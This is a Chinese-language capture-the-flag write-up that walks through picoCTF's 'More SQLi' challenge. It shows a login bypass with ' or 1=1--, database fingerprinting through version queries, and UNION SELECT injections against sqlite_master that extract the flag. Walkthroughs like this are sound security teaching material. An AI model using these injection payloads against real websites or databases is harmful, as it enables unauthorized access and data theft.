昨天介紹了 SQLi 的原理,今天接著找題目來實際打看看!從 picoCTF 找到這題:More SQLi
首先會進到這個頁面:
我們嘗試輸入一點什麼試試,可以看到完整的 Query 語句:
這樣我們只需要在密碼輸入 ' or 1=1--
就可以登入,登入之後來到這個畫面:
我們需要先了解目標主機使用哪種資料庫來儲存,ChatGPT 說可以用差異測試來嘗試,因為不同系統可能對不同的語句有不同的反應,可以從這方面下手試試看
SELECT version();
SELECT version();
SELECT @@version;
SELECT sqlite_version();
從上圖可以判斷語句應該 select 了 3 個 column,所以我們把這句加到查詢語句中:' UNION SELECT version(), 2, 3;--
完整的 query 大致可能長這樣:
SELECT city, address, phone FROM office WHERE city='' UNION SELECT version(), 2, 3;--
試到 SQLite 那個終於跳出了版本,所以可以知道這題背後的 DB 是 SQLite,那我們可以嘗試 query 出全表的資料。
ChatGPT 說 SQLite 中有個 sqlite_master
表,用來儲存其他表的一些資訊和 meta,有以下常用的 column:
看起來我們可以拿 name
和 sql
這兩個 column 來找點東西,於是 query 如下:' UNION SELECT name, sql, 3 FROM sqlite_master;--
得到了以下資訊,其中就包含了我們要的 flag
接著我們下:' UNION SELECT flag, 2, 3 FROM more_table;--
就可以成功得到 flag!